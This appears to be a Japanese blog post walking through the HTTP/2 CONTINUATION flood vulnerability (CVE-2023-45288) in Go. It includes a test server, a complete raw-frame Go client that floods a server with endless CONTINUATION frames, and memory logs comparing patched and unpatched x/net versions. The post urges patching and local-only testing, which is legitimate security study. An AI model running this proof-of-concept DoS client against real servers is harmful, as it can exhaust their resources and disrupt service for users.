Diary

Diary

日々学んだことをアウトプットする場として初めてみました

HTTP/2 の脆弱性 CONTINUATION flood について

まとめ

  • patch を適応しましょう
    • Go は 1.22.2 にあげましょう
  • 自分で立てたローカルで遊ぶだけにしてください

[目次]

CONTINUATION flood とは

この記事にわかりやすい図がありますが、1つの HTTP/2 ストリームの中で、クライアントから任意のヘッダーを無限に送れてしまう DoS 攻撃です。

(Go 実装において)一定値以上はメモリに載せないようにしたり工夫しているが受け取りは続き、圧縮ヘッダの解凍などがサーバーの負荷になる。 さらにハフマン符号の圧縮とかだと、圧縮より解凍側の負荷が大きいっていう認識でいます。

Go では CVE-2023-45288脆弱性として登録されており、Node, Envoy など他言語・FW においても報告されてます

(公開されてるということは)すでにパッチは適応されていると思うので、ご自身の使ってるモノに問題がないかご確認をお願いいたします。 (Go src での修正内容はこちらで、1.22.2 のパッチから取り込まれています。)

サーバーの準備

今回はクライアント側から DoS をやるのが目的なので、サーバーは適当に用意しておきます。

package main

import (
    "flag"
    "fmt"
    "net/http"
    "runtime"
    "time"

    "golang.org/x/net/http2"
)

func checkMem() {
    for range time.Tick(1 * time.Second) {
        var m runtime.MemStats
        runtime.ReadMemStats(&m)
        fmt.Printf("Alloc = %v MiB", m.Alloc/1024/1024)
        fmt.Printf("\tTotalAlloc = %v MiB", m.TotalAlloc/1024/1024)
        fmt.Printf("\tSys = %v MiB", m.Sys/1024/1024)
        fmt.Printf("\tNumGC = %v\n", m.NumGC)
    }
}

func main() {
    printMemory := flag.Bool("m", false, "memory check")
    flag.Parse()

    if printMemory != nil && *printMemory {
        go checkMem()
    }

    handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "Hello, HTTP/2 world!")
    })

    server := http.Server{Addr: ":8080", Handler: handler}

    http2.ConfigureServer(&server, &http2.Server{}) // HTTP/2 を有効にする
    if err := server.ListenAndServeTLS("server.crt", "server.key"); err != nil {
        panic(err)
    }
}

TLS が必要な実装になっているため、以下のようになんちゃってで証明書と秘密鍵を作成してます。

openssl req -x509 -newkey rsa:2048 -nodes -keyout server.key -out server.crt -days 365

この時点で以下のようなファイル構成になってます。

.
├── go.mod
├── go.sum
├── main.go
├── server.crt
└── server.key

以下のようにレスポンスが返ってくれば成功です。

$ curl --insecure --http2 https://localhost:8080

Hello, HTTP/2 world!%

クライアントの実装

まずは通常のクライアントから確認します。

Go では HTTP2 かを区別せずに、同一の http クライアントで扱えます。 (以下では『以下では自己証明書に対するアクセスを許可するため』に一工夫しています。)

package main

import (
    "crypto/tls"
    "fmt"
    "net/http"

    "golang.org/x/net/http2"
)

func main() {
    client := http.Client{
        Transport: &http2.Transport{
            TLSClientConfig: &tls.Config{
                InsecureSkipVerify: true, // 自己署名証明書を使用する場合
            },
        },
    }

    req, err := http.NewRequest("GET", "https://localhost:8080", nil)
    if err != nil {
        panic(err)
    }

    // ヘッダーのカスタマイズ
    req.Header.Add("Custom-Header", "MyValue")

    resp, err := client.Do(req)
    if err != nil {
        panic(err)
    }
    defer resp.Body.Close()

    fmt.Printf("Protocol: %s\n", resp.Proto)
}

この実装では高レベルな抽象化がなされており、脆弱性をつくような攻撃はできません。

そこで HTTP/2 の仕様を(ちょっとだけ)理解し、いい感じにアクセスしてみます。

接続する

ベースは TCP であるため、まずは TCP を繋げます。

// ここに色々書いてく。
func customHttp2Call(conn net.Conn) {
}

func main() {
    // TLS 接続の設定
    tlsConfig := &tls.Config{
        // 実運用では危険。
        InsecureSkipVerify: true,
        // HTTP/2 を明示的に指定
        NextProtos: []string{"h2"},
    }

    // TLS 接続を確立
    conn, err := tls.Dial("tcp", "localhost:8080", tlsConfig)
    if err != nil {
        panic(err)
    }
    defer conn.Close()

    customHttp2Call(conn)
}

次に、以下の 16 新数の ASCII 文字列をサーバーとの接続時にクライアントから送る必要があります。

0x505249202a20485454502f322e300d0a0d0a534d0d0a0d0a
# ASCII に直した場合。
$ echo '505249202a20485454502f322e300d0a0d0a534d0d0a0d0a' | xxd -r -p

PRI * HTTP/2.0

SM
const (
    // RFC 7540 3.5 HTTP/2 Connection Preface
    // https://datatracker.ietf.org/doc/html/rfc7540#section-3.5
    http2ClientPreface = "505249202a20485454502f322e300d0a0d0a534d0d0a0d0a"
)

func customHttp2Call(conn net.Conn) {
    prefaceBytes, _ := hex.DecodeString(http2ClientPreface)
    conn.Write(prefaceBytes)
}

これで HTTP2 として正常に接続が開始できるようになりました。

RFC 的には 7540 #3.5 に記載があり、Go の src では x/net/http2/http2.go に定義があります。

続いて Setting -> Header -> CONTINUATION Frame (あれば) -> Data Frame (あれば) と続けます。

Setting Frame

唐突に Frame という概念が出てきましたが、RFC7540 #6 に定義があり、DATA, HEADERS, PRIORITY, SETTINGS など計 10 種類の Frame が存在します。

Go では Framer を使って Frame をやりとりしていきます。

ここでは挨拶がわりにクライアントの希望する設定を, SETTINGS Frame としてサーバーに送りつけてみました。

func customHttp2Call(conn net.Conn) {
    // ...

    framer := http2.NewFramer(conn, conn)

    // framer.WriteRawFrame(http2.FrameSettings, 0, 0, []byte{})
    framer.WriteSettings(
        http2.Setting{
            ID:  http2.SettingEnablePush,
            Val: 0,
        },
        http2.Setting{
            ID:  http2.SettingInitialWindowSize,
            Val: 4194304,
        },
        http2.Setting{
            ID:  http2.SettingHeaderTableSize,
            Val: 4096,
        },
    )
}

Headers Frame

続いて Headers Frame を投げつけます。

いきなり CONTINUATION とか無理なん?と思われるかもしれませんが, rfc7540 #6.10 に記載があるように、CONTINUATION の前には END_HEADERS のセットされてない HEADERS などが必要なんです。

A CONTINUATION frame MUST be preceded by a HEADERS, PUSH_PROMISE or CONTINUATION frame without the END_HEADERS flag set. A recipient that observes violation of this rule MUST respond with a connection error (Section 5.4.1) of type PROTOCOL_ERROR.

func customHttp2Call(conn net.Conn) {
    // ...

    hbuf := bytes.NewBuffer([]byte{})
    henc := hpack.NewEncoder(hbuf)

    henc.WriteField(hpack.HeaderField{Name: ":authority", Value: "localhost:8080"})
    henc.WriteField(hpack.HeaderField{Name: ":method", Value: "GET"})
    henc.WriteField(hpack.HeaderField{Name: ":path", Value: "/"})
    henc.WriteField(hpack.HeaderField{Name: ":scheme", Value: "https"})

    // 今回は決めうちで stream 1 を使っている。
    err = framer.WriteHeaders(http2.HeadersFrameParam{
        StreamID:      1,
        BlockFragment: hbuf.Bytes(),
        EndHeaders: false,
    })
}

CONTINUATION Frame をこの後に続ける予定なので、EndHeaders フィールドは false にしておきます。

順調です。

Continuation Frame

続いて本命の Continuation Frame を投げつけます。

var (
    //go:embed dummy-key
    dummyKey string

    //go:embed dummy-value
    dummyValue string
)

func customHttp2Call(conn net.Conn) {
    // ...

    hbuf.Reset()
    henc = hpack.NewEncoder(hbuf)
    henc.WriteField(hpack.HeaderField{Name: dummyKey, Value: dummyValue})
    henc.WriteField(hpack.HeaderField{Name: dummyValue, Value: dummyKey}) // 逆にしたのも送る。
    continuationHeaders := hbuf.Bytes()

    N := 1_000_000_000_000
    for i := 0; i < N; i++ {
        if err := framer.WriteContinuation(1, i == N-1, continuationHeaders); err != nil {
            log.Fatal("write headers error: ", err)
        }
    }

}

今回はダミーの header を作って送っています。

cat /dev/random | head -c 1000 | base64 > dummy-key
cat /dev/random | head -c 1000 | base64 > dummy-value

この Header 単体だとエラーが出ますが、今回は負荷をかけることが目的なので特に気にせず進みます。

動作確認: x/net 0.24.0

http2 の実装が入っている x/net ですが、脆弱性のパッチが当たったものは 0.24.0 となっています。

# サーバー側の x/net を最新にする。
go get -u golang.org/x/net@v0.24.0

先ほどのクライアントからサーバーを叩き、サーバー側のメモリを確認してみます。

リクエスト送信直後に PROTOCOL_ERROR が発生していることがわかります。

$ go run main.go -m

Alloc = 0 MiB   TotalAlloc = 0 MiB      Sys = 7 MiB     NumGC = 0
Alloc = 0 MiB   TotalAlloc = 0 MiB      Sys = 7 MiB     NumGC = 0
Alloc = 0 MiB   TotalAlloc = 0 MiB      Sys = 7 MiB     NumGC = 0
2024/04/09 16:33:08 http2: server connection error from [::1]:58363: connection error: PROTOCOL_ERROR
Alloc = 0 MiB   TotalAlloc = 0 MiB      Sys = 7 MiB     NumGC = 0
Alloc = 0 MiB   TotalAlloc = 0 MiB      Sys = 7 MiB     NumGC = 0
Alloc = 0 MiB   TotalAlloc = 0 MiB      Sys = 7 MiB     NumGC = 0

クライアントにもエラーが出ており、一定値以上送信されないようになっていることがわかりました。

2024/04/09 16:33:09 write headers error: write tcp [::1]:58363->[::1]:8080: write: broken pipe
exit status 1

動作確認: x/net 0.22.0

# サーバー側の x/net を脆弱性対応前に戻す。
go get -u golang.org/x/net@v0.22.0

同じように先ほどのクライアントからサーバーを叩き、サーバー側のメモリを確認してみます。

Alloc = 0 MiB   TotalAlloc = 0 MiB      Sys = 7 MiB     NumGC = 0
Alloc = 2 MiB   TotalAlloc = 40 MiB     Sys = 12 MiB    NumGC = 11
Alloc = 3 MiB   TotalAlloc = 171 MiB    Sys = 12 MiB    NumGC = 48
Alloc = 2 MiB   TotalAlloc = 303 MiB    Sys = 12 MiB    NumGC = 86
Alloc = 2 MiB   TotalAlloc = 436 MiB    Sys = 12 MiB    NumGC = 124
Alloc = 1 MiB   TotalAlloc = 568 MiB    Sys = 12 MiB    NumGC = 162
Alloc = 2 MiB   TotalAlloc = 674 MiB    Sys = 12 MiB    NumGC = 192
Alloc = 1 MiB   TotalAlloc = 806 MiB    Sys = 12 MiB    NumGC = 230
Alloc = 0 MiB   TotalAlloc = 938 MiB    Sys = 12 MiB    NumGC = 268
Alloc = 0 MiB   TotalAlloc = 1070 MiB   Sys = 12 MiB    NumGC = 306
Alloc = 3 MiB   TotalAlloc = 1192 MiB   Sys = 12 MiB    NumGC = 340
Alloc = 2 MiB   TotalAlloc = 1324 MiB   Sys = 12 MiB    NumGC = 378
Alloc = 0 MiB   TotalAlloc = 1455 MiB   Sys = 12 MiB    NumGC = 416
Alloc = 2 MiB   TotalAlloc = 1586 MiB   Sys = 12 MiB    NumGC = 453
Alloc = 3 MiB   TotalAlloc = 1716 MiB   Sys = 12 MiB    NumGC = 490
Alloc = 2 MiB   TotalAlloc = 1848 MiB   Sys = 12 MiB    NumGC = 528
Alloc = 1 MiB   TotalAlloc = 1980 MiB   Sys = 12 MiB    NumGC = 566
Alloc = 3 MiB   TotalAlloc = 2111 MiB   Sys = 12 MiB    NumGC = 603
Alloc = 1 MiB   TotalAlloc = 2241 MiB   Sys = 12 MiB    NumGC = 641
Alloc = 1 MiB   TotalAlloc = 2374 MiB   Sys = 12 MiB    NumGC = 679
Alloc = 0 MiB   TotalAlloc = 2506 MiB   Sys = 12 MiB    NumGC = 717
Alloc = 0 MiB   TotalAlloc = 2639 MiB   Sys = 13 MiB    NumGC = 755
Alloc = 1 MiB   TotalAlloc = 2765 MiB   Sys = 13 MiB    NumGC = 791

出力内容は runtime MemStats から取得したものになりますが、20 秒でトータル 3 GB のメモリがヒープに割り当てられ、800 回ほどの GC が走ってしまっていることが分かります。

おまけ

GODEBUG について

以下のような DEBUG フラグを指定しすると http2 の通信を詳しく確認できます。

$ GODEBUG=http2debug=2 go run main.go

GODEBUG 全体についてのドキュメントとして以下のリンクは見つけたのですが、より詳しい情報についてご存知の方は教えてください。 https://go.dev/doc/godebug

クライアント側のコード全体

package main

import (
    "bytes"
    "crypto/tls"
    _ "embed"
    "encoding/hex"
    "fmt"
    "log"
    "net"
    "strings"

    "golang.org/x/net/http2"
    "golang.org/x/net/http2/hpack"
)

const (
    // RFC 7540 3.5 HTTP/2 Connection Preface
    // https://datatracker.ietf.org/doc/html/rfc7540#section-3.5
    http2ClientPreface = "505249202a20485454502f322e300d0a0d0a534d0d0a0d0a"
)

var (
    //go:embed dummy-key
    dummyKey string

    //go:embed dummy-value
    dummyValue string
)

func customHttp2Call(conn net.Conn) {
    var err error

    prefaceBytes, _ := hex.DecodeString(http2ClientPreface)
    conn.Write(prefaceBytes)

    framer := http2.NewFramer(conn, conn)

    framer.WriteSettings(
        http2.Setting{
            ID:  http2.SettingEnablePush,
            Val: 0,
        },
        http2.Setting{
            ID:  http2.SettingInitialWindowSize,
            Val: 4194304,
        },
        http2.Setting{
            ID:  http2.SettingHeaderTableSize,
            Val: 4096,
        },
    )

    hbuf := bytes.NewBuffer([]byte{})
    henc := hpack.NewEncoder(hbuf)

    henc.WriteField(hpack.HeaderField{Name: ":authority", Value: "localhost:8080"})
    henc.WriteField(hpack.HeaderField{Name: ":method", Value: "GET"})
    henc.WriteField(hpack.HeaderField{Name: ":path", Value: "/"})
    henc.WriteField(hpack.HeaderField{Name: ":scheme", Value: "https"})
    henc.WriteField(hpack.HeaderField{Name: "custom-header", Value: "MyValue"})
    henc.WriteField(hpack.HeaderField{Name: "accept-encoding", Value: "gzip"})
    henc.WriteField(hpack.HeaderField{Name: "user-agent", Value: "Foo Bar"})

    err = framer.WriteHeaders(http2.HeadersFrameParam{
        StreamID:      1,
        BlockFragment: hbuf.Bytes(),
        // EndHeaders:    true,
        // EndStream:     true,
        EndHeaders: false,
    })

    if err != nil {
        log.Fatal("write headers error: ", err)
    }

    hbuf.Reset()
    henc = hpack.NewEncoder(hbuf)
    dummyKey = strings.TrimSuffix(dummyKey, "\n")
    dummyValue = strings.TrimSuffix(dummyValue, "\n")
    henc.WriteField(hpack.HeaderField{Name: dummyKey, Value: dummyValue})
    henc.WriteField(hpack.HeaderField{Name: dummyValue, Value: dummyKey}) // 逆にしたのも送る。
    continuationHeaders := hbuf.Bytes()

    N := 1_000_000_000_000
    for i := 0; i < N; i++ {
        if err := framer.WriteContinuation(1, i == N-1, continuationHeaders); err != nil {
            log.Fatal("write headers error: ", err)
        }
    }

    frames := make([]http2.Frame, 0)
    for {
        fmt.Println("----- for -----")
        frame, err := framer.ReadFrame()
        if err != nil {
            log.Fatal("read frame error: ", err)
        }
        frames = append(frames, frame)

        if frame.Header().Flags.Has(http2.FlagHeadersEndStream) {
            fmt.Printf("head ended-----: %v\n", frame)
        }

        if frame.Header().Type == http2.FrameData && frame.Header().Flags.Has(http2.FlagDataEndStream) {
            // end of stream !!!
            break
        }
    }

    for _, frame := range frames {
        switch frame := frame.(type) {
        case *http2.DataFrame:
            log.Printf("data frame: %s\n", frame.Data())
            data := frame.Data()
            fmt.Printf("data: %v\n", data)
            fmt.Printf("string(data): %v\n", string(data))
        case *http2.HeadersFrame:
            log.Printf("headers frame: %s\n", frame.Header())
        default:
            log.Printf("frame: %v\n", frame.Header())
        }
    }
}

func main() {
    // TLS 接続の設定
    tlsConfig := &tls.Config{
        // 実運用では危険。
        InsecureSkipVerify: true,
        // HTTP/2 を明示的に指定
        NextProtos: []string{"h2"},
    }

    // TLS 接続を確立
    conn, err := tls.Dial("tcp", "localhost:8080", tlsConfig)
    if err != nil {
        panic(err)
    }
    defer conn.Close()

    customHttp2Call(conn)
}

Go でのパッチ内容

Go src での修正内容はこちら の diffで、1.22.2 のパッチから取り込まれています。

x/net としての v0.22.0 から v0.24.0 の差分はこちらになります。